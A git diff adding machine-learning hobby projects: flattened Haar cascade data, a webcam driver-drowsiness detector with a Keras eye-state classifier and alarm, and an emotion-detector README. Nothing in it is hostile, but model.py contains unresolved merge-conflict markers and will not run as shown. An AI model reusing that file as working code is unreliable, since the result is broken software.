<_> + + <_> + 1 1 6 1 -1. + <_> + 3 3 2 1 3. + 1 + <_> + + <_> + 3 4 5 3 -1. + <_> + 2 5 5 1 3. + 1 + <_> + + <_> + 2 12 2 2 -1. + <_> + 2 12 1 1 2. + <_> + 3 13 1 1 2. + <_> + + <_> + 8 11 3 3 -1. + <_> + 9 11 1 3 3. + <_> + + <_> + 9 11 3 4 -1. + <_> + 10 11 1 4 3. + <_> + + <_> + 17 2 3 1 -1. + <_> + 18 3 1 1 3. + 1 + <_> + + <_> + 5 11 6 3 -1. + <_> + 8 11 3 3 2. + <_> + + <_> + 2 12 12 8 -1. + <_> + 2 12 6 4 2. + <_> + 8 16 6 4 2. + <_> + + <_> + 13 15 2 3 -1. + <_> + 12 16 2 1 3. + 1 + <_> + + <_> + 5 14 9 1 -1. + <_> + 8 14 3 1 3. + <_> + + <_> + 13 13 4 6 -1. + <_> + 13 13 2 3 2. + <_> + 15 16 2 3 2. + <_> + + <_> + 8 7 9 1 -1. + <_> + 11 10 3 1 3. + 1 + <_> + + <_> + 16 0 4 4 -1. + <_> + 16 0 4 2 2. + 1 + <_> + + <_> + 2 13 2 2 -1. + <_> + 2 13 2 1 2. + 1 + <_> + + <_> + 5 12 2 2 -1. + <_> + 5 13 2 1 2. + <_> + + <_> + 0 16 2 4 -1. + <_> + 0 18 2 2 2. + <_> + + <_> + 0 8 14 11 -1. + <_> + 7 8 7 11 2. + <_> + + <_> + 4 17 4 3 -1. + <_> + 5 17 2 3 2. + <_> + + <_> + 3 12 3 5 -1. + <_> + 4 12 1 5 3. + <_> + + <_> + 5 11 1 3 -1. + <_> + 5 12 1 1 3. + <_> + + <_> + 4 10 4 2 -1. + <_> + 4 10 2 1 2. + <_> + 6 11 2 1 2. + <_> + + <_> + 15 9 3 1 -1. + <_> + 16 10 1 1 3. + 1 + <_> + + <_> + 3 0 16 7 -1. + <_> + 7 0 8 7 2. + <_> + + <_> + 2 2 17 6 -1. + <_> + 2 5 17 3 2. + <_> + + <_> + 2 4 14 6 -1. + <_> + 2 6 14 2 3. + <_> + + <_> + 2 9 6 2 -1. + <_> + 2 9 3 1 2. + <_> + 5 10 3 1 2. + <_> + + <_> + 3 11 4 2 -1. + <_> + 3 11 2 1 2. + <_> + 5 12 2 1 2. + <_> + + <_> + 16 13 4 2 -1. + <_> + 18 13 2 2 2. + <_> + + <_> + 15 7 3 2 -1. + <_> + 16 8 1 2 3. + 1 + <_> + + <_> + 0 11 4 2 -1. + <_> + 0 12 4 1 2. + <_> + + <_> + 4 9 2 3 -1. + <_> + 3 10 2 1 3. + 1 + <_> + + <_> + 3 18 6 2 -1. + <_> + 5 18 2 2 3. + <_> + + <_> + 11 12 3 2 -1. + <_> + 12 12 1 2 3. + <_> + + <_> + 19 0 1 2 -1. + <_> + 19 1 1 1 2. + <_> + + <_> + 0 0 14 1 -1. + <_> + 7 0 7 1 2. + <_> + + <_> + 11 10 3 4 -1. + <_> + 10 11 3 2 2. + 1 + <_> + + <_> + 14 16 1 3 -1. + <_> + 13 17 1 1 3. + 1 + <_> + + <_> + 18 1 2 4 -1. + <_> + 19 1 1 4 2. + <_> + + <_> + 15 13 5 6 -1. + <_> + 15 15 5 2 3. + <_> + + <_> + 16 4 3 3 -1. + <_> + 17 5 1 3 3. + 1 + <_> + + <_> + 4 6 16 14 -1. + <_> + 12 6 8 14 2. + <_> + + <_> + 10 12 3 1 -1. + <_> + 11 12 1 1 3. + <_> + + <_> + 5 12 2 2 -1. + <_> + 5 12 1 1 2. + <_> + 6 13 1 1 2. + <_> + + <_> + 9 3 4 5 -1. + <_> + 10 3 2 5 2. + <_> + + <_> + 18 1 2 3 -1. + <_> + 18 2 2 1 3. + <_> + + <_> + 19 17 1 2 -1. + <_> + 19 17 1 1 2. + 1 + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 2 1 2. + 1 + <_> + + <_> + 10 2 7 6 -1. + <_> + 10 4 7 2 3. + <_> + + <_> + 2 0 13 4 -1. + <_> + 2 1 13 2 2. + <_> + + <_> + 2 0 2 2 -1. + <_> + 2 0 1 2 2. + 1 + <_> + + <_> + 0 3 6 8 -1. + <_> + 3 3 3 8 2. + <_> + + <_> + 3 0 1 3 -1. + <_> + 2 1 1 1 3. + 1 + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 17 9 3 2 -1. + <_> + 18 10 1 2 3. + 1 + <_> + + <_> + 16 8 4 6 -1. + <_> + 16 10 4 2 3. + <_> + + <_> + 6 9 7 3 -1. + <_> + 6 10 7 1 3. + <_> + + <_> + 2 10 3 4 -1. + <_> + 2 11 3 2 2. + <_> + + <_> + 15 8 1 6 -1. + <_> + 15 8 1 3 2. + 1 + <_> + + <_> + 19 3 1 12 -1. + <_> + 19 7 1 4 3. + <_> + + <_> + 2 0 5 2 -1. + <_> + 2 0 5 1 2. + 1 + <_> + + <_> + 1 3 11 6 -1. + <_> + 1 5 11 2 3. + <_> + + <_> + 14 13 2 4 -1. + <_> + 14 13 1 2 2. + <_> + 15 15 1 2 2. + <_> + + <_> + 8 11 10 3 -1. + <_> + 13 11 5 3 2. + <_> + + <_> + 6 11 1 4 -1. + <_> + 6 13 1 2 2. + <_> + + <_> + 2 9 3 9 -1. + <_> + 3 12 1 3 9. + <_> + + <_> + 4 0 15 9 -1. + <_> + 9 3 5 3 9. + <_> + + <_> + 12 0 6 4 -1. + <_> + 12 0 6 2 2. + 1 + <_> + + <_> + 10 5 4 5 -1. + <_> + 12 5 2 5 2. + <_> + + <_> + 1 7 18 12 -1. + <_> + 7 11 6 4 9. + <_> + + <_> + 14 12 6 4 -1. + <_> + 16 12 2 4 3. + <_> + + <_> + 13 12 3 3 -1. + <_> + 14 12 1 3 3. + <_> + + <_> + 14 9 4 1 -1. + <_> + 15 10 2 1 2. + 1 + <_> + + <_> + 17 7 3 2 -1. + <_> + 18 8 1 2 3. + 1 + <_> + + <_> + 19 3 1 2 -1. + <_> + 19 4 1 1 2. + <_> + + <_> + 19 1 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 3 2 12 8 -1. + <_> + 3 4 12 4 2. + <_> + + <_> + 1 0 16 6 -1. + <_> + 1 2 16 2 3. + <_> + + <_> + 16 8 3 1 -1. + <_> + 17 9 1 1 3. + 1 + <_> + + <_> + 7 13 6 3 -1. + <_> + 9 14 2 1 9. + <_> + + <_> + 11 18 6 2 -1. + <_> + 11 19 6 1 2. + <_> + + <_> + 15 17 5 3 -1. + <_> + 15 18 5 1 3. + <_> + + <_> + 2 1 18 4 -1. + <_> + 8 1 6 4 3. + <_> + + <_> + 5 0 1 2 -1. + <_> + 5 1 1 1 2. + <_> + + <_> + 1 11 6 6 -1. + <_> + 3 13 2 2 9. + <_> + + <_> + 3 12 4 2 -1. + <_> + 3 12 2 1 2. + <_> + 5 13 2 1 2. + <_> + + <_> + 3 0 3 3 -1. + <_> + 2 1 3 1 3. + 1 + <_> + + <_> + 8 10 3 3 -1. + <_> + 9 11 1 1 9. + <_> + + <_> + 0 16 2 2 -1. + <_> + 0 17 2 1 2. + <_> + + <_> + 0 16 4 3 -1. + <_> + 0 17 4 1 3. + <_> + + <_> + 0 13 12 1 -1. + <_> + 6 13 6 1 2. + <_> + + <_> + 13 2 6 9 -1. + <_> + 15 2 2 9 3. + <_> + + <_> + 8 11 3 3 -1. + <_> + 9 11 1 3 3. + <_> + + <_> + 9 11 3 4 -1. + <_> + 10 11 1 4 3. + <_> + + <_> + 13 0 6 10 -1. + <_> + 15 0 2 10 3. + <_> + + <_> + 4 10 1 4 -1. + <_> + 3 11 1 2 2. + 1 + <_> + + <_> + 9 11 3 3 -1. + <_> + 10 12 1 1 9. + <_> + + <_> + 6 12 3 3 -1. + <_> + 5 13 3 1 3. + 1 + <_> + + <_> + 17 6 2 1 -1. + <_> + 18 6 1 1 2. + <_> + + <_> + 16 2 1 4 -1. + <_> + 16 2 1 2 2. + 1 + <_> + + <_> + 2 5 13 4 -1. + <_> + 2 6 13 2 2. + <_> + + <_> + 14 4 6 2 -1. + <_> + 14 4 6 1 2. + 1 + <_> + + <_> + 3 8 1 3 -1. + <_> + 2 9 1 1 3. + 1 + <_> + + <_> + 7 7 8 3 -1. + <_> + 7 8 8 1 3. + <_> + + <_> + 8 8 4 3 -1. + <_> + 10 8 2 3 2. + <_> + + <_> + 10 11 3 8 -1. + <_> + 10 15 3 4 2. + <_> + + <_> + 13 15 2 3 -1. + <_> + 12 16 2 1 3. + 1 + <_> + + <_> + 0 0 12 20 -1. + <_> + 6 0 6 20 2. + <_> + + <_> + 0 0 10 1 -1. + <_> + 5 0 5 1 2. + <_> + + <_> + 0 0 6 3 -1. + <_> + 0 1 6 1 3. + <_> + + <_> + 14 13 2 2 -1. + <_> + 14 13 1 1 2. + <_> + 15 14 1 1 2. + <_> + + <_> + 12 10 4 2 -1. + <_> + 12 10 2 1 2. + <_> + 14 11 2 1 2. + <_> + + <_> + 7 0 6 4 -1. + <_> + 9 0 2 4 3. + <_> + + <_> + 0 0 10 10 -1. + <_> + 0 0 5 5 2. + <_> + 5 5 5 5 2. + <_> + + <_> + 6 3 4 2 -1. + <_> + 7 3 2 2 2. + <_> + + <_> + 1 5 4 11 -1. + <_> + 2 5 2 11 2. + <_> + + <_> + 12 8 3 1 -1. + <_> + 13 8 1 1 3. + <_> + + <_> + 2 2 6 2 -1. + <_> + 2 2 6 1 2. + 1 + <_> + + <_> + 13 5 7 3 -1. + <_> + 12 6 7 1 3. + 1 + <_> + + <_> + 13 7 3 4 -1. + <_> + 14 7 1 4 3. + <_> + + <_> + 8 12 3 2 -1. + <_> + 8 12 3 1 2. + 1 + <_> + + <_> + 0 10 4 8 -1. + <_> + 0 12 4 4 2. + <_> + + <_> + 14 13 2 6 -1. + <_> + 14 13 1 3 2. + <_> + 15 16 1 3 2. + <_> + + <_> + 16 17 1 2 -1. + <_> + 16 17 1 1 2. + 1 + <_> + + <_> + 12 0 3 6 -1. + <_> + 10 2 3 2 3. + 1 + <_> + + <_> + 4 10 14 3 -1. + <_> + 4 11 14 1 3. + <_> + + <_> + 19 4 1 12 -1. + <_> + 19 8 1 4 3. + <_> + + <_> + 19 2 1 6 -1. + <_> + 19 4 1 2 3. + <_> + + <_> + 8 12 12 3 -1. + <_> + 14 12 6 3 2. + <_> + + <_> + 0 13 2 3 -1. + <_> + 1 13 1 3 2. + <_> + + <_> + 16 0 4 9 -1. + <_> + 18 0 2 9 2. + <_> + + <_> + 9 2 6 4 -1. + <_> + 9 4 6 2 2. + <_> + + <_> + 16 2 3 1 -1. + <_> + 17 3 1 1 3. + 1 + <_> + + <_> + 15 12 3 6 -1. + <_> + 16 12 1 6 3. + <_> + + <_> + 13 12 3 3 -1. + <_> + 14 12 1 3 3. + <_> + + <_> + 3 3 15 4 -1. + <_> + 3 5 15 2 2. + <_> + + <_> + 11 11 3 4 -1. + <_> + 12 11 1 4 3. + <_> + + <_> + 10 11 3 3 -1. + <_> + 11 11 1 3 3. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 14 0 3 3 -1. + <_> + 15 1 1 3 3. + 1 + <_> + + <_> + 2 10 8 2 -1. + <_> + 2 10 4 2 2. + 1 + <_> + + <_> + 9 18 4 2 -1. + <_> + 10 18 2 2 2. + <_> + + <_> + 10 0 4 9 -1. + <_> + 11 0 2 9 2. + <_> + + <_> + 15 10 5 6 -1. + <_> + 15 12 5 2 3. + <_> + + <_> + 2 13 4 2 -1. + <_> + 3 13 2 2 2. + <_> + + <_> + 2 15 4 1 -1. + <_> + 3 16 2 1 2. + 1 + <_> + + <_> + 15 8 3 2 -1. + <_> + 16 9 1 2 3. + 1 + <_> + + <_> + 0 6 4 2 -1. + <_> + 2 6 2 2 2. + <_> + + <_> + 9 17 6 1 -1. + <_> + 12 17 3 1 2. + <_> + + <_> + 14 19 6 1 -1. + <_> + 17 19 3 1 2. + <_> + + <_> + 17 18 1 2 -1. + <_> + 17 19 1 1 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 2 1 2. + 1 + <_> + + <_> + 19 3 1 9 -1. + <_> + 19 6 1 3 3. + <_> + + <_> + 10 10 3 3 -1. + <_> + 9 11 3 1 3. + 1 + <_> + + <_> + 3 0 3 3 -1. + <_> + 2 1 3 1 3. + 1 + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 2 1 2. + 1 + <_> + + <_> + 5 11 3 3 -1. + <_> + 6 12 1 3 3. + 1 + <_> + + <_> + 3 11 2 2 -1. + <_> + 3 11 1 1 2. + <_> + 4 12 1 1 2. + <_> + + <_> + 16 9 2 2 -1. + <_> + 16 9 1 2 2. + 1 + <_> + + <_> + 4 9 2 2 -1. + <_> + 4 9 2 1 2. + 1 + <_> + + <_> + 3 10 2 3 -1. + <_> + 2 11 2 1 3. + 1 + <_> + + <_> + 0 0 20 20 -1. + <_> + 0 0 10 10 2. + <_> + 10 10 10 10 2. + <_> + + <_> + 7 16 5 3 -1. + <_> + 7 17 5 1 3. + <_> + + <_> + 14 1 3 6 -1. + <_> + 12 3 3 2 3. + 1 + <_> + + <_> + 6 0 4 7 -1. + <_> + 7 0 2 7 2. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 5 18 4 2 -1. + <_> + 6 18 2 2 2. + <_> + + <_> + 7 7 6 8 -1. + <_> + 9 7 2 8 3. + <_> + + <_> + 18 16 2 4 -1. + <_> + 18 16 1 2 2. + <_> + 19 18 1 2 2. + <_> + + <_> + 11 18 2 2 -1. + <_> + 12 18 1 2 2. + <_> + + <_> + 3 2 5 2 -1. + <_> + 3 3 5 1 2. + <_> + + <_> + 7 1 6 4 -1. + <_> + 7 3 6 2 2. + <_> + + <_> + 2 0 2 2 -1. + <_> + 2 0 2 1 2. + 1 + <_> + + <_> + 0 1 16 1 -1. + <_> + 8 1 8 1 2. + <_> + + <_> + 11 1 3 10 -1. + <_> + 12 1 1 10 3. + <_> + + <_> + 4 0 4 4 -1. + <_> + 5 1 2 4 2. + 1 + <_> + + <_> + 4 13 3 2 -1. + <_> + 5 13 1 2 3. + <_> + + <_> + 8 11 4 3 -1. + <_> + 7 12 4 1 3. + 1 + <_> + + <_> + 7 17 4 3 -1. + <_> + 8 17 2 3 2. + <_> + + <_> + 5 19 2 1 -1. + <_> + 6 19 1 1 2. + <_> + + <_> + 0 9 2 2 -1. + <_> + 0 9 1 1 2. + <_> + 1 10 1 1 2. + <_> + + <_> + 0 9 2 2 -1. + <_> + 0 9 1 1 2. + <_> + 1 10 1 1 2. + <_> + + <_> + 6 9 2 2 -1. + <_> + 6 9 2 1 2. + 1 + <_> + + <_> + 0 10 5 3 -1. + <_> + 0 11 5 1 3. + <_> + + <_> + 3 10 2 2 -1. + <_> + 3 10 1 1 2. + <_> + 4 11 1 1 2. + <_> + + <_> + 0 10 18 1 -1. + <_> + 6 10 6 1 3. + <_> + + <_> + 17 4 3 1 -1. + <_> + 18 5 1 1 3. + 1 + <_> + + <_> + 17 1 2 7 -1. + <_> + 17 1 1 7 2. + 1 + <_> + + <_> + 6 13 9 2 -1. + <_> + 9 13 3 2 3. + <_> + + <_> + 4 9 16 6 -1. + <_> + 4 11 16 2 3. + <_> + + <_> + 1 1 16 4 -1. + <_> + 1 3 16 2 2. + <_> + + <_> + 14 12 3 3 -1. + <_> + 15 12 1 3 3. + <_> + + <_> + 2 9 6 2 -1. + <_> + 4 11 2 2 3. + 1 + <_> + + <_> + 10 0 8 10 -1. + <_> + 12 0 4 10 2. + <_> + + <_> + 1 12 16 4 -1. + <_> + 5 12 8 4 2. + <_> + + <_> + 13 8 6 9 -1. + <_> + 15 11 2 3 9. + <_> + + <_> + 19 0 1 8 -1. + <_> + 19 4 1 4 2. + <_> + + <_> + 8 2 10 6 -1. + <_> + 8 5 10 3 2. + <_> + + <_> + 18 7 2 1 -1. + <_> + 19 7 1 1 2. + <_> + + <_> + 19 4 1 12 -1. + <_> + 19 7 1 6 2. + <_> + + <_> + 8 11 3 3 -1. + <_> + 9 12 1 1 9. + <_> + + <_> + 7 12 3 3 -1. + <_> + 8 12 1 3 3. + <_> + + <_> + 6 13 3 2 -1. + <_> + 7 13 1 2 3. + <_> + + <_> + 17 15 3 2 -1. + <_> + 17 15 3 1 2. + 1 + <_> + + <_> + 11 6 3 3 -1. + <_> + 12 6 1 3 3. + <_> + + <_> + 0 15 2 4 -1. + <_> + 0 17 2 2 2. + <_> + + <_> + 12 9 7 2 -1. + <_> + 12 9 7 1 2. + 1 + <_> + + <_> + 6 5 8 7 -1. + <_> + 10 5 4 7 2. + <_> + + <_> + 6 17 8 3 -1. + <_> + 8 17 4 3 2. + <_> + + <_> + 0 17 4 3 -1. + <_> + 0 18 4 1 3. + <_> + + <_> + 5 1 10 6 -1. + <_> + 5 3 10 2 3. + <_> + + <_> + 0 2 18 2 -1. + <_> + 6 2 6 2 3. + <_> + + <_> + 7 8 6 3 -1. + <_> + 7 9 6 1 3. + <_> + + <_> + 10 8 1 3 -1. + <_> + 10 9 1 1 3. + <_> + + <_> + 16 1 3 2 -1. + <_> + 17 2 1 2 3. + 1 + <_> + + <_> + 2 10 1 2 -1. + <_> + 2 10 1 1 2. + 1 + <_> + + <_> + 2 9 1 2 -1. + <_> + 2 9 1 1 2. + 1 + <_> + + <_> + 3 9 2 3 -1. + <_> + 2 10 2 1 3. + 1 + <_> + + <_> + 2 14 12 6 -1. + <_> + 2 14 6 3 2. + <_> + 8 17 6 3 2. + <_> + + <_> + 15 17 1 2 -1. + <_> + 15 17 1 1 2. + 1 + <_> + + <_> + 17 11 3 3 -1. + <_> + 18 12 1 3 3. + 1 + <_> + + <_> + 13 12 3 2 -1. + <_> + 14 12 1 2 3. + <_> + + <_> + 16 18 4 2 -1. + <_> + 18 18 2 2 2. + <_> + + <_> + 18 14 2 4 -1. + <_> + 17 15 2 2 2. + 1 + <_> + + <_> + 12 13 3 1 -1. + <_> + 13 13 1 1 3. + <_> + + <_> + 11 12 3 3 -1. + <_> + 12 13 1 1 9. + <_> + + <_> + 0 0 16 20 -1. + <_> + 8 0 8 20 2. + <_> + + <_> + 3 0 8 5 -1. + <_> + 5 0 4 5 2. + <_> + + <_> + 0 0 2 1 -1. + <_> + 1 0 1 1 2. + <_> + + <_> + 1 2 19 4 -1. + <_> + 1 4 19 2 2. + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 15 6 3 3 -1. + <_> + 16 7 1 3 3. + 1 + <_> + + <_> + 3 13 2 2 -1. + <_> + 3 13 1 1 2. + <_> + 4 14 1 1 2. + <_> + + <_> + 2 12 2 2 -1. + <_> + 2 12 1 1 2. + <_> + 3 13 1 1 2. + <_> + + <_> + 0 3 19 4 -1. + <_> + 0 4 19 2 2. + <_> + + <_> + 17 7 3 4 -1. + <_> + 18 8 1 4 3. + 1 + <_> + + <_> + 4 8 3 4 -1. + <_> + 5 9 1 4 3. + 1 + <_> + + <_> + 14 11 4 6 -1. + <_> + 15 11 2 6 2. + <_> + + <_> + 18 3 2 6 -1. + <_> + 18 5 2 2 3. + <_> + + <_> + 14 3 2 4 -1. + <_> + 14 3 2 2 2. + 1 + <_> + + <_> + 7 9 5 4 -1. + <_> + 7 10 5 2 2. + <_> + + <_> + 12 11 8 2 -1. + <_> + 12 12 8 1 2. + <_> + + <_> + 16 13 3 4 -1. + <_> + 16 13 3 2 2. + 1 + <_> + + <_> + 14 7 5 9 -1. + <_> + 14 10 5 3 3. + <_> + + <_> + 0 12 1 3 -1. + <_> + 0 13 1 1 3. + <_> + + <_> + 6 6 3 6 -1. + <_> + 4 8 3 2 3. + 1 + <_> + + <_> + 0 9 9 1 -1. + <_> + 3 9 3 1 3. + <_> + + <_> + 0 9 6 2 -1. + <_> + 0 9 3 1 2. + <_> + 3 10 3 1 2. + <_> + + <_> + 3 2 4 4 -1. + <_> + 4 2 2 4 2. + <_> + + <_> + 18 3 2 3 -1. + <_> + 18 4 2 1 3. + <_> + + <_> + 6 16 3 3 -1. + <_> + 6 17 3 1 3. + <_> + + <_> + 1 16 6 3 -1. + <_> + 1 17 6 1 3. + diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/main.py b/MachineLearning Projects/Driver-Drowsiness-Detection/main.py new file mode 100644 index 00000000..daa11f1a --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/main.py @@ -0,0 +1,106 @@ +import cv2 +import os +from keras.models import load_model +import numpy as np +from pygame import mixer +import time + +import os +print(os.path.abspath('haar cascade files/haarcascade_frontalface_alt.xml')) + + +mixer.init() +sound = mixer.Sound('alarm.wav') + + +face = cv2.CascadeClassifier('haar_cascade_files/haarcascade_frontalface_alt.xml') +leye = cv2.CascadeClassifier('haar_cascade_files/haarcascade_lefteye_2splits.xml') +reye = cv2.CascadeClassifier('haar_cascade_files/haarcascade_righteye_2splits.xml') + + +lbl=['Close','Open'] +model = load_model('models/cnnCat2.h5') +path = os.getcwd() +cap = cv2.VideoCapture(0) +font = cv2.FONT_HERSHEY_COMPLEX_SMALL +count=0 +score=0 +thicc=2 +rpred=[99] +lpred=[99] + +while(True): + ret, frame = cap.read() + height,width = frame.shape[:2] + + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + + faces = face.detectMultiScale(gray,minNeighbors=5,scaleFactor=1.1,minSize=(25,25)) + left_eye = leye.detectMultiScale(gray) + right_eye = reye.detectMultiScale(gray) + + cv2.rectangle(frame, (0,height-50) , (200,height) , (0,0,0) , thickness=cv2.FILLED ) + + for (x,y,w,h) in faces: + cv2.rectangle(frame, (x,y) , (x+w,y+h) , (100,100,100) , 1 ) + + for (x,y,w,h) in right_eye: + r_eye=frame[y:y+h,x:x+w] + count=count+1 + r_eye = cv2.cvtColor(r_eye,cv2.COLOR_BGR2GRAY) + r_eye = cv2.resize(r_eye,(24,24)) + r_eye= r_eye/255 + r_eye= r_eye.reshape(24,24,-1) + r_eye = np.expand_dims(r_eye,axis=0) + rpred = np.argmax(model.predict(r_eye), axis=-1) + if(rpred[0]==1): + lbl='Open' + if(rpred[0]==0): + lbl='Closed' + break + + for (x,y,w,h) in left_eye: + l_eye=frame[y:y+h,x:x+w] + count=count+1 + l_eye = cv2.cvtColor(l_eye,cv2.COLOR_BGR2GRAY) + l_eye = cv2.resize(l_eye,(24,24)) + l_eye= l_eye/255 + l_eye=l_eye.reshape(24,24,-1) + l_eye = np.expand_dims(l_eye,axis=0) + lpred = np.argmax(model.predict(l_eye), axis=-1) + if(lpred[0]==1): + lbl='Open' + if(lpred[0]==0): + lbl='Closed' + break + + if(rpred[0]==0 and lpred[0]==0): + score=score+1 + cv2.putText(frame,"Closed",(10,height-20), font, 1,(255,255,255),1,cv2.LINE_AA) + # if(rpred[0]==1 or lpred[0]==1): + else: + score=score-1 + cv2.putText(frame,"Open",(10,height-20), font, 1,(255,255,255),1,cv2.LINE_AA) + + + if(score<0): + score=0 + cv2.putText(frame,'Score:'+str(score),(100,height-20), font, 1,(255,255,255),1,cv2.LINE_AA) + if(score>15): + cv2.imwrite(os.path.join(path,'image.jpg'),frame) + try: + sound.play() + except: + pass + if(thicc<16): + thicc= thicc+2 + else: + thicc=thicc-2 + if(thicc<2): + thicc=2 + cv2.rectangle(frame,(0,0),(width,height),(0,0,255),thicc) + cv2.imshow('frame',frame) + if cv2.waitKey(1) & 0xFF == ord('q'): + break +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/model.py b/MachineLearning Projects/Driver-Drowsiness-Detection/model.py new file mode 100644 index 00000000..7cc62c64 --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/model.py @@ -0,0 +1,48 @@ +import os +from keras.preprocessing import image +import matplotlib.pyplot as plt +import numpy as np +from keras.utils.np_utils import to_categorical +import random,shutil +from keras.models import Sequential +from keras.layers import Dropout,Conv2D,Flatten,Dense, MaxPooling2D, BatchNormalization +from keras.models import load_model + + +def generator(dir, gen=image.ImageDataGenerator(rescale=1./255), shuffle=True,batch_size=1,target_size=(24,24),class_mode='categorical' ): + + return gen.flow_from_directory(dir,batch_size=batch_size,shuffle=shuffle,color_mode='grayscale',class_mode=class_mode,target_size=target_size) + +BS= 32 +TS=(24,24) +train_batch= generator('data/train',shuffle=True, batch_size=BS,target_size=TS) +valid_batch= generator('data/valid',shuffle=True, batch_size=BS,target_size=TS) +SPE= len(train_batch.classes)//BS +VS = len(valid_batch.classes)//BS +print(SPE,VS) + + +model = Sequential([ + Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(24,24,1)), + MaxPooling2D(pool_size=(1,1)), + Conv2D(32,(3,3),activation='relu'), + MaxPooling2D(pool_size=(1,1)), + Conv2D(64, (3, 3), activation='relu'), + MaxPooling2D(pool_size=(1,1)), + Dropout(0.25), + Flatten(), + Dense(128, activation='relu'), + Dropout(0.5), + Dense(2, activation='softmax') +]) + +model.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy']) + +model.fit_generator(train_batch, validation_data=valid_batch,epochs=15,steps_per_epoch=SPE ,validation_steps=VS) + +<<<<<<< HEAD +model.save('models/cnnCat2.h5', overwrite=True) +======= +model.save('models/cnnCat2.h5', overwrite=True) +model = load_model('model.h5') +>>>>>>> 79e42d9 (Updated) diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/models/cnnCat2.h5 b/MachineLearning Projects/Driver-Drowsiness-Detection/models/cnnCat2.h5 new file mode 100644 index 00000000..f89cd07d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/models/cnnCat2.h5 differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/README.md b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/README.md new file mode 100644 index 00000000..59aa5f8e --- /dev/null +++ b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/README.md @@ -0,0 +1,38 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# Realtime Emotion Detector using Python (Google's Teachable Machine Learning) + +## ðŸ› ï¸ Description +This project is about developing a system that can detect the emotions of a person in realtime from the video on the basis of a pre-trained **keras** model. This model was trained using Google's [Teachable Machine Learning](https://teachablemachine.withgoogle.com/). + +The project can detect the following emotions:- +**Angry**, **Happy**, **Sad**, **Smile**, **Surprise** + + +## âš™ï¸ Languages or Frameworks Used + - Python, Mediapipe, Keras + - Teachable Machine Learning (For model training) + + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + +- ### Run the project + To the run the project, go to the terminal and run `python main.py`. This will popup two windows, one for capturing the `video input` and the other for displyaing the `emotion output.` + + > Note: The Model (.h5 file) has been trained using the Teachable Machine Learning which is an esay to use ML Training Platform by **Google**. Do checkout that platform. + + +## 📺 Demo +Do checkout the Below Video for Demo of the Project. + +[Youtube Link](https://youtu.be/ER4avLksQfU) + +## 🤖 Author +Github - [MBSA-INFINITY](https://github.com/MBSA-INFINITY) +LinkedIn - [MBSAIADITYA](https://www.linkedin.com/in/mbsaiaditya/) +Portfolio - [MBSA](https://mbsaiaditya.in/) +Instagram - [MBSAIADITYA](https://instagram.com/mbsaiaditya) diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/converted_keras.zip b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/converted_keras.zip new file mode 100644 index 00000000..f70c5892 Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/converted_keras.zip differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/keras_model.h5 b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/keras_model.h5 new file mode 100644 index 00000000..4e2f50e2 Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/keras_model.h5 differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/labels.txt b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/labels.txt new file mode 100644 index 00000000..c16bf26d --- /dev/null +++ b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/Teachable ML Data/labels.txt @@ -0,0 +1,5 @@ +0 happy +1 angry +2 sad +3 smile +4 surprise diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/angry.jfif b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/angry.jfif new file mode 100644 index 00000000..c47f213e Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/angry.jfif differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/happy.jfif b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/happy.jfif new file mode 100644 index 00000000..d6f0d260 Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/happy.jfif differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/sad.jfif b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/sad.jfif new file mode 100644 index 00000000..ee21e966 Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/sad.jfif differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/smile.jfif b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/smile.jfif new file mode 100644 index 00000000..9f9cf7fd Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable 